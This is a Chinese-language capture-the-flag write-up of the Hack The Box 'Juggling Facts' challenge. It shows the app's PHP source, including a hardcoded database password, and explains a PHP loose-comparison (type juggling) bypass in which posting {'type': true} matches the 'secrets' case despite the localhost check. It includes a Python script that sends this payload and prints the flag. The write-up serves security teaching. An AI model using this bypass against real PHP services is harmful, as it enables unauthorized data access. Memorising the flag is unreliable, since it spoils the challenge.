HTB Juggling facts Writeup
题目描述
(有附件)
观察 打开网页:
点击 secret facts:
flag大概率和这个“secrets”有关系,但其他没有什么发现所以去看看源代码。在 index.php 里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php spl_autoload_register (function ($name ) { if (preg_match ('/Controller$/' , $name )) { $name = "controllers/${name}" ; } elseif (preg_match ('/Model$/' , $name )) { $name = "models/${name}" ; } include_once "${name}.php" ; }); $database = new Database ('localhost' , 'root' , 'M@k3l@R!d3s$' , 'web_juggling_facts' );$database ->connect ();$router = new Router ();$router ->new ('GET' , '/' , 'IndexController@index' );$router ->new ('POST' ,'/api/getfacts' , 'IndexController@getfacts' );die ($router ->match ());
可以发现网页定义了2个操作:get和post。2者都调用了 IndexController ,所以我们顺着这个线索去看一下 IndexController.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php class IndexController extends Controller { public function __construct ( ) { parent ::__construct (); } public function index ($router ) { $router ->view ('index' ); } public function getfacts ($router ) { $jsondata = json_decode (file_get_contents ('php://input' ), true ); if ( empty ($jsondata ) || !array_key_exists ('type' , $jsondata )) { return $router ->jsonify (['message' => 'Insufficient parameters!' ]); } if ($jsondata ['type' ] === 'secrets' && $_SERVER ['REMOTE_ADDR' ] !== '127.0.0.1' ) { return $router ->jsonify (['message' => 'Currently this type can be only accessed through localhost!' ]); } switch ($jsondata ['type' ]) { case 'secrets' : return $router ->jsonify ([ 'facts' => $this ->facts->get_facts ('secrets' ) ]); case 'spooky' : return $router ->jsonify ([ 'facts' => $this ->facts->get_facts ('spooky' ) ]); case 'not_spooky' : return $router ->jsonify ([ 'facts' => $this ->facts->get_facts ('not_spooky' ) ]); default : return $router ->jsonify ([ 'message' => 'Invalid type!' ]); } } }
稍微拆解分析一下,如果我们发送一个post请求,那么它
首先会检查请求参数是否存在:
1 if ( empty ($jsondata ) || !array_key_exists ('type' , $jsondata ) )
判断 type 类型,如果是secrets那么检查是否是本地 IP
1 if ($jsondata ['type' ] === 'secrets' && $_SERVER ['REMOTE_ADDR' ] !== '127.0.0.1' )
比较type的值并进行后续操作:
1 2 3 4 5 switch ($jsondata ['type' ]) { case 'secrets' : case 'spooky' : case 'not_spooky' : }
渗透 漏洞正是这个流程里的 switch() 函数。php里的这个比较函数是宽松比较(loose comparison)(严格的话是===),会根据情况自动转换类型,所以可以利用true绕过:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php $jsondata = [ 'type' => true ]; switch ($jsondata ['type' ]) { case 'secrets' : echo "true == secrets\n" ; break ; case 'spooky' : echo "Failed\n" ; break ; case 'not_spooky' : echo "Failed\n" ; break ; default : echo "Failed\n" ; break ; }
会返回:
所以我们直接发送:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestsurl = 'http://94.237.63.28:34695/api/getfacts' data = { "type" : True } resp = requests.post(url, json=data) print ("Response:" )print (resp.text)
就可以得到flag:HTB{juggl1ng_1s_d4ng3r0u5!!!} 。